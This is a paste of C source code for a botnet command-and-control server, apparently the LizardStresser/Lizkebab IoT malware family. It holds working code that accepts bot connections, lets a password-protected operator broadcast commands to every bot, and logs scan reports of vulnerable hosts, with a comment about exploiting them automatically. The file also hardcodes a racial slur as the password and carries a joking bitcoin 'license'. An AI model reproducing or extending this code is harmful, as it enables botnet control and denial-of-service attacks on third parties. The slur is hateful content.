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Lizkebab.c Source (Public Source Just Refreshed)

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Oct 18th, 2016
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  1. /*
  2. Chippy1337 and @packetprophet present:
  3. LizardStresser rekt
  4. This is the custom control server
  5.  
  6. LICENSE AGREEMENT:
  7. If you lulz'd, you must sent BTC to
  8. 121cywjXYCUSL2qN7MnQAzSHNsWotUrea7
  9.  
  10. Death to skids
  11. */
  12. #include <stdio.h>
  13. #include <stdlib.h>
  14. #include <string.h>
  15. #include <sys/types.h>
  16. #include <sys/socket.h>
  17. #include <netdb.h>
  18. #include <unistd.h>
  19. #include <time.h>
  20. #include <fcntl.h>
  21. #include <sys/epoll.h>
  22. #include <errno.h>
  23. #include <pthread.h>
  24. #include <signal.h>
  25.  
  26. #define MY_MGM_PASS "nigger"
  27. #define MY_MGM_PORT 8888
  28.  
  29. #define MAXFDS 1000000 // No way we actually reach this amount. Ever.
  30.  
  31. struct clientdata_t {
  32. uint32_t ip;
  33. char build[7];
  34. char connected;
  35. } clients[MAXFDS];
  36. struct telnetdata_t {
  37. int connected;
  38. } managements[MAXFDS];
  39. static volatile FILE *fileFD;
  40. static volatile int epollFD = 0;
  41. static volatile int listenFD = 0;
  42. static volatile int managesConnected = 0;
  43. int fdgets(unsigned char *buffer, int bufferSize, int fd)
  44. {
  45. int total = 0, got = 1;
  46. while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  47. return got;
  48. }
  49. void trim(char *str) // Remove whitespace from a string and properly null-terminate it.
  50. {
  51. int i;
  52. int begin = 0;
  53. int end = strlen(str) - 1;
  54. while (isspace(str[begin])) begin++;
  55. while ((end >= begin) && isspace(str[end])) end--;
  56. for (i = begin; i <= end; i++) str[i - begin] = str[i];
  57. str[i - begin] = '\0';
  58. }
  59.  
  60.  
  61. static int make_socket_non_blocking (int sfd)
  62. { // man fcntl
  63. int flags, s;
  64. flags = fcntl (sfd, F_GETFL, 0);
  65. if (flags == -1)
  66. {
  67. perror ("fcntl");
  68. return -1;
  69. }
  70. flags |= O_NONBLOCK;
  71. /*
  72. F_SETFL (int)
  73. Set the file status flags to the value specified by arg. File access mode (O_RDONLY, O_WRONLY, O_RDWR) and file creation flags (i.e., O_CREAT, O_EXCL, O_NOCTTY, O_TRUNC) in arg are
  74. ignored. On Linux this command can change only the O_APPEND, O_ASYNC, O_DIRECT, O_NOATIME, and O_NONBLOCK flags.
  75. */
  76. s = fcntl (sfd, F_SETFL, flags);
  77. if (s == -1)
  78. {
  79. perror ("fcntl");
  80. return -1;
  81. }
  82. return 0;
  83. }
  84.  
  85.  
  86. static int create_and_bind (char *port)
  87. {
  88. struct addrinfo hints;
  89. struct addrinfo *result, *rp;
  90. int s, sfd;
  91. memset (&hints, 0, sizeof (struct addrinfo));
  92. hints.ai_family = AF_UNSPEC; /* Return IPv4 and IPv6 choices */
  93. hints.ai_socktype = SOCK_STREAM; /* We want a TCP socket */
  94. hints.ai_flags = AI_PASSIVE; /* All interfaces */
  95. s = getaddrinfo (NULL, port, &hints, &result);
  96. if (s != 0)
  97. {
  98. fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
  99. return -1;
  100. }
  101. for (rp = result; rp != NULL; rp = rp->ai_next)
  102. {
  103. sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
  104. if (sfd == -1) continue;
  105. int yes = 1;
  106. if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
  107. s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
  108. if (s == 0)
  109. {
  110. break;
  111. }
  112. close (sfd);
  113. }
  114. if (rp == NULL)
  115. {
  116. fprintf (stderr, "Could not bind\n");
  117. return -1;
  118. }
  119. freeaddrinfo (result);
  120. return sfd;
  121. }
  122. void broadcast(char *msg, int us) // sends message to all bots, notifies the management clients of this happening
  123. {
  124. int sendMGM = 1;
  125. if(strcmp(msg, "PING") == 0) sendMGM = 0; // Don't send pings to management. Why? Because a human is going to ignore it.
  126. char *wot = malloc(strlen(msg) + 10);
  127. memset(wot, 0, strlen(msg) + 10);
  128. strcpy(wot, msg);
  129. trim(wot);
  130. time_t rawtime;
  131. struct tm * timeinfo;
  132. time(&rawtime);
  133. timeinfo = localtime(&rawtime);
  134. char *timestamp = asctime(timeinfo);
  135. trim(timestamp);
  136. int i;
  137. for(i = 0; i < MAXFDS; i++)
  138. {
  139. if(i == us || (!clients[i].connected && (sendMGM == 0 || !managements[i].connected))) continue;
  140. if(sendMGM && managements[i].connected)
  141. {
  142. send(i, "\x1b[33m", 5, MSG_NOSIGNAL);
  143. send(i, timestamp, strlen(timestamp), MSG_NOSIGNAL);
  144. send(i, ": ", 2, MSG_NOSIGNAL);
  145. } //just a prompt with a timestamp.
  146. printf("sent to fd: %d\n", i); // debug info, possibly also intrusion detection. Tells you when a management client connected on command line.
  147. send(i, msg, strlen(msg), MSG_NOSIGNAL);
  148. if(sendMGM && managements[i].connected) send(i, "\r\n\x1b[31m> \x1b[0m", 13, MSG_NOSIGNAL); // send a cool looking prompt to a manager/admin
  149. else send(i, "\n", 1, MSG_NOSIGNAL);
  150. }
  151. free(wot);
  152. }
  153.  
  154. void *epollEventLoop(void *useless) // the big loop used to control each bot asynchronously. Many threads of this get spawned.
  155. {
  156. struct epoll_event event;
  157. struct epoll_event *events;
  158. int s;
  159. events = calloc (MAXFDS, sizeof event);
  160. while (1)
  161. {
  162. int n, i;
  163. n = epoll_wait (epollFD, events, MAXFDS, -1);
  164. for (i = 0; i < n; i++)
  165. {
  166. if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN)))
  167. {
  168. clients[events[i].data.fd].connected = 0;
  169. close(events[i].data.fd);
  170. continue;
  171. }
  172. else if (listenFD == events[i].data.fd)
  173. {
  174. while (1)
  175. {
  176. struct sockaddr in_addr;
  177. socklen_t in_len;
  178. int infd, ipIndex;
  179.  
  180. in_len = sizeof in_addr;
  181. infd = accept (listenFD, &in_addr, &in_len); // accept a connection from a bot.
  182. if (infd == -1)
  183. {
  184. if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
  185. else
  186. {
  187. perror ("accept");
  188. break;
  189. }
  190. }
  191.  
  192. clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;
  193.  
  194. int dup = 0;
  195. for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++) // check for duplicate clients by seeing if any have the same IP as the one connecting
  196. {
  197. if(!clients[ipIndex].connected || ipIndex == infd) continue;
  198.  
  199. if(clients[ipIndex].ip == clients[infd].ip)
  200. {
  201. dup = 1;
  202. break;
  203. }
  204. }
  205.  
  206. if(dup)
  207. {
  208. printf("dup client\n"); // warns the operator on command line
  209. if(send(infd, "!* LOLNOGTFO\n", 13, MSG_NOSIGNAL) == -1) { close(infd); continue; } // orders all the bots to immediately kill themselves if we see a duplicate client! MAXIMUM PARANOIA
  210. if(send(infd, "DUP\n", 4, MSG_NOSIGNAL) == -1) { close(infd); continue; } // same thing as above.
  211. close(infd);
  212. continue;
  213. }
  214.  
  215. s = make_socket_non_blocking (infd);
  216. if (s == -1) { close(infd); break; }
  217.  
  218. event.data.fd = infd;
  219. event.events = EPOLLIN | EPOLLET;
  220. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event);
  221. if (s == -1)
  222. {
  223. perror ("epoll_ctl");
  224. close(infd);
  225. break;
  226. }
  227.  
  228. clients[infd].connected = 1;
  229. //send(infd, "!* SCANNER ON\n", 14, MSG_NOSIGNAL);
  230. }
  231. continue;
  232. }
  233. else
  234. {
  235. int thefd = events[i].data.fd;
  236. struct clientdata_t *client = &(clients[thefd]);
  237. int done = 0;
  238. client->connected = 1;
  239. while (1)
  240. {
  241. ssize_t count;
  242. char buf[2048];
  243. memset(buf, 0, sizeof buf);
  244.  
  245. while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, thefd)) > 0)
  246. {
  247. if(strstr(buf, "\n") == NULL) { done = 1; break; }
  248. trim(buf);
  249. if(strcmp(buf, "PING") == 0) // basic IRC-like ping/pong challenge/response to see if server is alive
  250. {
  251. if(send(thefd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; } // response
  252. continue;
  253. }
  254. if(strstr(buf, "BUILD ") == buf)
  255. {
  256. char *build = strstr(buf, "BUILD ") + 6;
  257. if(strlen(build) > 6) { printf("build bigger then 6\n"); done = 1; break; }
  258. memset(client->build, 0, 7);
  259. strcpy(client->build, build);
  260. continue;
  261. }
  262. if(strstr(buf, "REPORT ") == buf) // received a report of a vulnerable system from a scan
  263. {
  264. char *line = strstr(buf, "REPORT ") + 7;
  265. fprintf(fileFD, "%s\n", line); // let's write it out to disk without checking what it is!
  266. fflush(fileFD);
  267. //TODO: automatically exploit that particular IP after scanning for dir and uploading correct arch stuffs.
  268. continue;
  269. }
  270. if(strcmp(buf, "PONG") == 0)
  271. {
  272. //should really add some checking or something but meh
  273. continue;
  274. }
  275.  
  276. printf("buf: \"%s\"\n", buf);
  277. }
  278.  
  279. if (count == -1)
  280. {
  281. if (errno != EAGAIN)
  282. {
  283. done = 1;
  284. }
  285. break;
  286. }
  287. else if (count == 0)
  288. {
  289. done = 1;
  290. break;
  291. }
  292. }
  293.  
  294. if (done)
  295. {
  296. client->connected = 0;
  297. close(thefd);
  298. }
  299. }
  300. }
  301. }
  302. }
  303.  
  304. unsigned int clientsConnected() // counts the number of bots connected by looping over every possible file descriptor and checking if it's connected or not
  305. {
  306. int i = 0, total = 0;
  307. for(i = 0; i < MAXFDS; i++)
  308. {
  309. if(!clients[i].connected) continue;
  310. total++;
  311. }
  312.  
  313. return total;
  314. }
  315.  
  316. void *titleWriter(void *sock) // just an informational banner
  317. {
  318. // this LOOKS vulnerable, but it's actually not.
  319. // there's no way we can have 2000 digits' worth of clients/bots connected to overflow that char array
  320. int thefd = (int)sock;
  321. char string[2048];
  322. while(1)
  323. {
  324. memset(string, 0, 2048);
  325. sprintf(string, "%c]0;Bots connected: %d | Clients connected: %d%c", '\033', clientsConnected(), managesConnected, '\007');
  326. // \007 is a bell character... causes a beep. Why is there a beep here?
  327. if(send(thefd, string, strlen(string), MSG_NOSIGNAL) == -1) return;
  328.  
  329. sleep(2);
  330. }
  331. }
  332.  
  333.  
  334. void *telnetWorker(void *sock)
  335. {
  336. int thefd = (int)sock;
  337. managesConnected++;
  338. pthread_t title;
  339. char buf[2048];
  340. memset(buf, 0, sizeof buf);
  341.  
  342. if(send(thefd, "password: ", 10, MSG_NOSIGNAL) == -1) goto end; /* failed to send... kill connection */
  343. if(fdgets(buf, sizeof buf, thefd) < 1) goto end; /* no data, kill connection */
  344. trim(buf);
  345. if(strcmp(buf, MY_MGM_PASS) != 0) goto end; /* bad pass, kill connection */
  346. memset(buf, 0, 2048);
  347. if(send(thefd, "\033[1A", 4, MSG_NOSIGNAL) == -1) goto end;
  348. pthread_create(&title, NULL, &titleWriter, sock); /* writes the informational banner to the admin after a login */
  349. if(send(thefd, "\x1b[31m*****************************************\r\n", 48, MSG_NOSIGNAL) == -1) goto end;
  350. if(send(thefd, "* WELCOME TO THE BALL PIT *\r\n", 43, MSG_NOSIGNAL) == -1) goto end;
  351. if(send(thefd, "* Now with \x1b[32mrefrigerator\x1b[31m support *\r\n", 53, MSG_NOSIGNAL) == -1) goto end;
  352. if(send(thefd, "*****************************************\r\n\r\n> \x1b[0m", 51, MSG_NOSIGNAL) == -1) goto end;
  353. /* If we can't send the useless banner, kill ourselves! Amazing error handling! */
  354. managements[thefd].connected = 1;
  355.  
  356. while(fdgets(buf, sizeof buf, thefd) > 0)
  357. {
  358. trim(buf);
  359. if(send(thefd, "\x1b[31m> \x1b[0m", 11, MSG_NOSIGNAL) == -1) goto end;
  360. if(strlen(buf) == 0) continue;
  361. printf("management: \"%s\"\n", buf);
  362. broadcast(buf, thefd); // take a command, send it to the bots
  363. memset(buf, 0, 2048);
  364. }
  365.  
  366. end: // cleanup dead socket
  367. managements[thefd].connected = 0;
  368. close(thefd);
  369. managesConnected--;
  370. }
  371.  
  372. void *telnetListener(void *useless)
  373. {
  374. int sockfd, newsockfd;
  375. socklen_t clilen;
  376. struct sockaddr_in serv_addr, cli_addr;
  377. sockfd = socket(AF_INET, SOCK_STREAM, 0);
  378. if (sockfd < 0) perror("ERROR opening socket");
  379. bzero((char *) &serv_addr, sizeof(serv_addr));
  380. serv_addr.sin_family = AF_INET;
  381. serv_addr.sin_addr.s_addr = INADDR_ANY;
  382. serv_addr.sin_port = htons(MY_MGM_PORT);
  383. if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) perror("ERROR on binding");
  384. listen(sockfd,5);
  385. clilen = sizeof(cli_addr);
  386. while(1)
  387. {
  388. newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
  389. if (newsockfd < 0) perror("ERROR on accept");
  390. pthread_t thread;
  391. pthread_create( &thread, NULL, &telnetWorker, (void *)newsockfd);
  392. }
  393. }
  394.  
  395. int main (int argc, char *argv[])
  396. {
  397. signal(SIGPIPE, SIG_IGN); // ignore broken pipe errors sent from kernel
  398.  
  399. int s, threads;
  400. struct epoll_event event;
  401.  
  402. if (argc != 3)
  403. {
  404. fprintf (stderr, "Usage: %s [port] [threads]\n", argv[0]);
  405. exit (EXIT_FAILURE);
  406. }
  407. fileFD = fopen("output.txt", "a+"); // TOCTOU vuln if we have access to CnC
  408. threads = atoi(argv[2]);
  409.  
  410. listenFD = create_and_bind (argv[1]); // try to create a listening socket, die if we can't
  411. if (listenFD == -1) abort ();
  412.  
  413. s = make_socket_non_blocking (listenFD); // try to make it nonblocking, die if we can't
  414. if (s == -1) abort ();
  415.  
  416. s = listen (listenFD, SOMAXCONN); // listen with a huuuuge backlog, die if we can't
  417. if (s == -1)
  418. {
  419. perror ("listen");
  420. abort ();
  421. }
  422.  
  423. epollFD = epoll_create1 (0); // make an epoll listener, die if we can't
  424. if (epollFD == -1)
  425. {
  426. perror ("epoll_create");
  427. abort ();
  428. }
  429.  
  430. event.data.fd = listenFD;
  431. event.events = EPOLLIN | EPOLLET;
  432. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
  433. if (s == -1)
  434. {
  435. perror ("epoll_ctl");
  436. abort ();
  437. }
  438.  
  439. pthread_t thread[threads + 2];
  440. while(threads--)
  441. {
  442. pthread_create( &thread[threads + 1], NULL, &epollEventLoop, (void *) NULL); // make a thread to command each bot individually
  443. }
  444.  
  445. pthread_create(&thread[0], NULL, &telnetListener, (void *)NULL);
  446.  
  447. while(1)
  448. {
  449. broadcast("PING", -1); // ping bots every 60 sec on the main thread
  450.  
  451. sleep(60);
  452. }
  453.  
  454. close (listenFD);
  455.  
  456. return EXIT_SUCCESS;
  457. }
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